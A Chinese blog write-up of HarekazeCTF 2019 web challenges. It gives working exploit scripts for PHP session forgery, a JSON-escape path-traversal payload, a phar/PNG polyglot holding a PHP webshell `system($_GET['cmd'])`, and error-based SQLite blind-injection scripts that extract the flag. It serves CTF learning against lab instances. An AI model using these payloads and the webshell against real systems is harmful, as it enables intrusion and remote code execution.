HarekazeCTF2019 | WEB题解

前言

日常精准复现CTF

encode_and_encode

考点:编码json转义unicode编码绕过

题解:https://ctftime.org/writeup/15459

https://xz.aliyun.com/t/6628

 <?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

is_valid过滤危险字符,但是可以发现if语句中作用的is_valid是还未被json_decode解码。

利用json转义格式\u00(url编码字符)绕过

. => \u002e      F => \u0066

1573041252425

最终paylaod

{
    "page": "php://filter/convert.base64-encode/resource=\u002e\u002e/\u002e\u002e/\u002e\u002e/\u002e\u002e/\u0066lag"
}

easy_notes

考点:session反序列化

export.php,会使用ZipArchive或PharData创建文件并写入note内容(可控)。再看生成的filename方法get_user()返回注册的用户名。且这里过了了..无法遍历目录。文件内容会通过回显示头带入

1573114337001

$note值会将传入的$title、$body压入$_SESSION[‘notes’]数组

1573112891671

flag.php,得到flag需要得到验证函数is_admin

1573114568489

这里需要$_SESSION[‘admin’]==true是个布尔值

1573114654589

考点明显是通过后端解析引擎差异对session进行反序列化。伪造session文件sess_axxxxxxx,写入|N;admin|b:1;,在以该文件名除去sess_作为cookie去访问flag文件触发反序列化,成功伪造admin身份,得到flag

import re
import requests
URL = 'http://b745d7be-e0af-433d-9670-7c5b773aa47b.node3.buuoj.cn/'

# login as sess_
sess = requests.Session()
sess.post(URL + 'login.php', data={
    'user': 'sess_aaaa'
})

  # make a crafted note
sess.post(URL + 'add.php', data={
    'title': 'name|s:3:"456";admin|b:1;',
    'body': 'hello'
})

  # make a fake session
r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
  # get the flag
r = requests.get(URL + '?page=flag', cookies={
    'PHPSESSID': sessid
})
print(r.text)

1573116094276

[HarekazeCTF2019]Avatar Uploader 1

关键代码如下

分别使用finfo_file和getimagesize判断文件类型很是奇怪,考虑执行差异。

1573125060507

传入如下文件

本地测试时候发现finfo可以读取到类型,但是getimagesize无法识别,利用此绕过$size[2] !== IMAGETYPE_PNG

1573125130532

1573125144393

flag

1573125218861

[HarekazeCTF2019]Avatar Uploader 2

考点:代码审计、phar反序列化、函数缺陷

hint:https://www.php.net/manual/ja/function.password-hash.php

upload.php:中FLAG1已经在upload1 利用结束

如下为session生成方法,构造方法中可以看出设置的cookie值是由明文data和加密后的data以.拼接

<?php
class SecureClientSession {
  private $cookieName;
  private $secret;
  private $data;

  public function __construct($cookieName = 'session', $secret = 'secret') {
    $this->data = [];
    $this->secret = $secret;

    if (array_key_exists($cookieName, $_COOKIE)) {
      try {
        list($data, $signature) = explode('.', $_COOKIE[$cookieName]);
        $data = urlsafe_base64_decode($data);
        $signature = urlsafe_base64_decode($signature);
    
        if ($this->verify($data, $signature)) {
          $this->data = json_decode($data, true);
        }
      } catch (Exception $e) {}
    }
  
    $this->cookieName = $cookieName;
  }

  public function isset($key) {
    return array_key_exists($key, $this->data);
  }

  public function get($key, $defaultValue = null){
    if (!$this->isset($key)) {
      return $defaultValue;
    }

    return $this->data[$key];
  }

  public function set($key, $value){
    $this->data[$key] = $value;
  }

  public function unset($key) {
    unset($this->data[$key]);
  }

  public function save() {
    $json = json_encode($this->data);
    $value = urlsafe_base64_encode($json) . '.' . urlsafe_base64_encode($this->sign($json));
    setcookie($this->cookieName, $value);
  }

  private function verify($string, $signature) {
    return password_verify($this->secret . $string, $signature);
  }

  private function sign($string) {
    return password_hash($this->secret . $string, PASSWORD_BCRYPT);
  }
}

再看sign方法中password_hash函数对第一个参数长度超过72会截断,也暗示着如果超出72字节的部分加密后的结果与72字节相同

1573129972732

再看error方法,$message赋值到$session设置中,输出之后的data值是超过72字节

1573130886081

1573130861491

一处可以利用的点,include可以触发phar包写一句话木马

可以向theme键value值替换为需要包含的文件路径,在加上error方法导致的长度大于72,可以控制data部分值,并且绕过签名验证。

1573129102382

1573129084102

利用

phar包构造,需要构造$png_header绕过upload.php两个图片验证,写入exp.css文件带有一句话木马

<?php
//89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

1573189902248

上传该phar包

1573189920227

赋值新生成的session,进行进一步伪造,增加theme键

1573190007834

替换原来的data值,index.php包含之,就能够执行命令

1573190100617

1573189601089

flag

1573189633670

Sqlite Voting

考点:逻辑报错、sql注入、sqlite、过滤绕过

sqlite函数列表:https://www.sqlite.org/lang_corefunc.html

1573196682665

vote.php

 <?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // dangerous chars
    // " % ' * + / < = > \ _ ` ~ -
    "[\"%'*+\\/<=>\\\\_`~-]",
    // whitespace chars
    '\s',
    // dangerous functions
    'blob', 'load_extension', 'char', 'unicode',
    '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
    'in', 'limit', 'order', 'union', 'join'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

header("Content-Type: text/json; charset=utf-8");

// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
  die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
  die(json_encode(['error' => 'Vote id contains dangerous chars']));
}

// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
  die(json_encode(['error' => 'An error occurred while updating database']));
}

// succeeded!
echo json_encode([
  'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);

根据源码,创建模拟数据方便测试

# 安装:sudo apt install sqlite3

# 模拟数据创建
sqlite> DROP TABLE IF EXISTS `vote`;
sqlite> CREATE TABLE `vote` (
   ...>   `id` INTEGER PRIMARY KEY AUTOINCREMENT,
   ...>   `name` TEXT NOT NULL,
   ...>   `count` INTEGER
   ...> );
sqlite> INSERT INTO `vote` (`name`, `count`) VALUES
   ...>   ('dog', 0),
   ...>   ('cat', 0),
   ...>   ('zebra', 0),
   ...>   ('koala', 0);
sqlite> create table flag (flag text);
sqlite> insert into flag values ('HarekazeCTF{test}');

解题思路是利用sqlite逻辑报错进行盲注,abs函数存在整型溢出

利用ifnull,nullif注入flag长度

import requests

url = "http://236fd178-f35e-4f3e-88e0-70374086e68c.node3.buuoj.cn/vote.php"

# get flag length
for i in range(1,100):
    data = {
        'id':f'abs(ifnull(nullif(length((SELECT(flag)from(flag))),{i}),0x8000000000000000))'
    }
    rep = requests.post(url,data=data)
    print(data)
    if 'An error occurred' in rep.text:
        print('length: '+str(i))
        break

1573196707908

在平常做盲注都需要字符截取进行逐位判断,但这里过滤了字符截取函数,可以使用||连接字符

1573198578923

考虑使用replace+length替换substr,逻辑如下,需要知道flag前几个字符,在逐位猜解

1573198633285

但是单引号双引号被过滤,还有能替换的只有hex函数,但是字符拼接0-9无需单引号,但是字符A-Z需要单双引号,可以去数据库中取

table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' # 'zebra' → '7A65627261'
table['C'] = 'trim(hex(typeof(.1)),12567)' # 'real' → '7265616C'
table['D'] = 'trim(hex(0xffffffffffffffff),123)' # 0xffffffffffffffff = -1 → '2D31'
table['E'] = 'trim(hex(0.1),1230)' # 0.1 → 302E31
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' # 'dog' → '646F67'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})' # 'koala' → '6B6F616C61'

利用

参考连接:https://st98.github.io/diary/posts/2019-05-21-harekaze-ctf-2019.html#web-350-sqlite-voting

# coding: utf-8
import binascii
import requests
URL = 'http://236fd178-f35e-4f3e-88e0-70374086e68c.node3.buuoj.cn/vote.php'

# フラグの長さを特定
l = 0
i = 0
for j in range(16):
  r = requests.post(URL, data={
    'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
  })
  if b'An error occurred' in r.content:
    l |= 1 << j
print('[+] length:', l)

# A-F のテーブルを作成
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'

# フラグをゲット!
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
  for x in '0123456789ABCDEF':
    t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
    print(t)
    r = requests.post(URL, data={
      'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
    })
    if b'An error occurred' in r.content:
      res += x
      break
  print(f'[+] flag ({i}/{l}): {res}')
  i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

还有一个解是利用max函数

假设前几位为flag{ => hex('flag{}') =>666C61677B => 之后在拼接上0*剩余flag长度=>在用max函数逐位去比较
逻辑如下
abs(ifnull(nullif(max(hex(hex((SELECT(flag)from(flag)))),$NUMBER$),$NUMBER$),0x8000000000000000))

链接:https://gist.github.com/terjanq/a571826c6bb08ae0dfa4ef57e03b5b72#solution

总结

  1. 盲注过滤字符截取考虑replace+length、max等其他逻辑,不要拘泥字符穿截取函数
  2. 字符串编码和过滤函数不正确放置,能绕过限制
  3. phar包不仅仅可以反序列化,在phar中放入文件,phar://uploads/xxx.phar(png)/exp.css,在exp.css放入一句话木马,使用inlude触发,可以执行代码
  4. getimagesieze与finfo_file判断图片类型有差异,finfo_file可以识别第一行图片类型,getimagesize无法识别
  5. 在审计一道题目时候,先分析出漏洞点,在考虑其他方面
  6. password_hash只对前72字符加密,由于截取字符的缘故,造成session伪造
  7. sqlite3中|| 可以起到字符拼接的作用

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!